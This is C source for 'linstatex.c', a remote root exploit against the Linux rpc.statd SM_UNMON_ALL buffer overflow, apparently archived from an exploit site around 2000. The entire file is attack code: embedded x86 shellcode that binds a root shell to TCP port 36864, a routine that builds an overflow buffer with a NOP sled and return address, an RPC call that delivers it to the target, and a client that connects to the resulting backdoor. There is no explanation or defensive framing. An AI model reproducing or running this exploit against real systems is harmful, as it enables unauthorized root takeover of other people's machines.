/* * -> PRIVATE. DO NOT USE. DO NOT DISTRIBUTE. <- * * linstatex.c * December 28, 1999 * Remote root overflow for linux rpc.statd SM_UNMON_ALL vulnerability. * * statd-0.2.4.tar.gz from http://www.kr.kernel.org/pub/linux/daemons/statd/ * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PROG 100024 #define VERS 0x01 #define PROC 0x04 /* SM_UNMON_ALL */ #define BD_PORT 36864 #define ADDR 0xbffff104 #define RETPOS 989 #define MR_NAME "elite" char c0de[] = "\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08" "\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89" "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0" "\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb" "\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0" "\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40" "\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08" "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd" "\x80\xe8\x64\xff\xff\xff"; u_long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void reclamation(u_long dst_ip) { struct sockaddr_in sin; u_char sock_buf[4096]; fd_set fds; int sock; usleep(15000); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(BD_PORT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to backdoor"); close(sock); exit(-1); } fprintf(stderr, "owned\n"); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1) { perror("select"); close(sock); exit(-1); } memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); close(sock); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) { read(0, sock_buf, sizeof(sock_buf)); write(sock, sock_buf, strlen(sock_buf)); } } /* NOTREACHED */ } static u_char * overflow_buf(u_int offset) { static u_char buf[4096]; u_long addr = ADDR + offset; u_int retpos = RETPOS; int i = 0, j = 0; memset(buf, 0x90, sizeof(buf)); for (i = retpos - strlen(c0de); i < retpos; j++, i++) { buf[i] = c0de[j]; } for (; i < retpos + 4; i += 4) { buf[i+0] = (addr & 0xff); buf[i+1] = (addr >> 8) & 0xff; buf[i+2] = (addr >> 16) & 0xff; buf[i+3] = (addr >> 24) & 0xff; } buf[i] = 0; memset(buf + i, 0, sizeof(buf) - i); return(buf); } void exploit(u_long dst_ip, u_int offset) { struct sockaddr_in sin; struct sm_stat_res stat_res; struct mon mon_req; struct timeval time_val; CLIENT *clnt; int sock = RPC_ANYSOCK; time_val.tv_usec = 0; time_val.tv_sec = 10; memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst_ip; clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock); if (!clnt) { fprintf(stderr, "err: clntudp_create(): is host running statd?\n"); exit(-1); } memset(&mon_req, 0, sizeof(struct mon)); mon_req.mon_id.my_id.my_prog = PROG; mon_req.mon_id.my_id.my_vers = VERS; mon_req.mon_id.my_id.my_proc = PROC; mon_req.mon_id.my_id.my_name = MR_NAME; mon_req.mon_id.mon_name = overflow_buf(offset); mon_req.priv[0] = '/'; if (clnt_call(clnt, PROC, (xdrproc_t)xdr_mon, &mon_req.mon_id, (xdrproc_t)xdr_sm_stat_res, &stat_res, time_val) != RPC_SUCCESS) { usleep(10000); clnt_destroy(clnt); reclamation(dst_ip); } fprintf(stderr, "clnt_call() succeeded: is the daemon patched?\n"); clnt_destroy(clnt); exit(0); } void usage(u_char *nomenclature) { fprintf(stderr, "usage:\t%s dst_host|ip [-o offset]\n", nomenclature); exit(0); } int main(int argc, char **argv) { struct in_addr iaddr; u_long dst_ip = 0; u_int offset = 0; char opt; fprintf(stderr, "linstatex.c -- Linux rpc.statd SM_UNMON_ALL remote root overflow\n"); if (argc < 2) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } while ((opt = getopt(argc, argv, "o:")) != EOF) { switch(opt) { case 'o': offset = (u_int)atoi(optarg); break; default: usage(argv[0]); /* NOTREACHED */ } } iaddr.s_addr = dst_ip; fprintf(stderr, "Attacking target `%s`..\n", inet_ntoa(iaddr)); exploit(dst_ip, offset); /* NOTREACHED */ } /* www.hack.co.za [28 September 2000]*/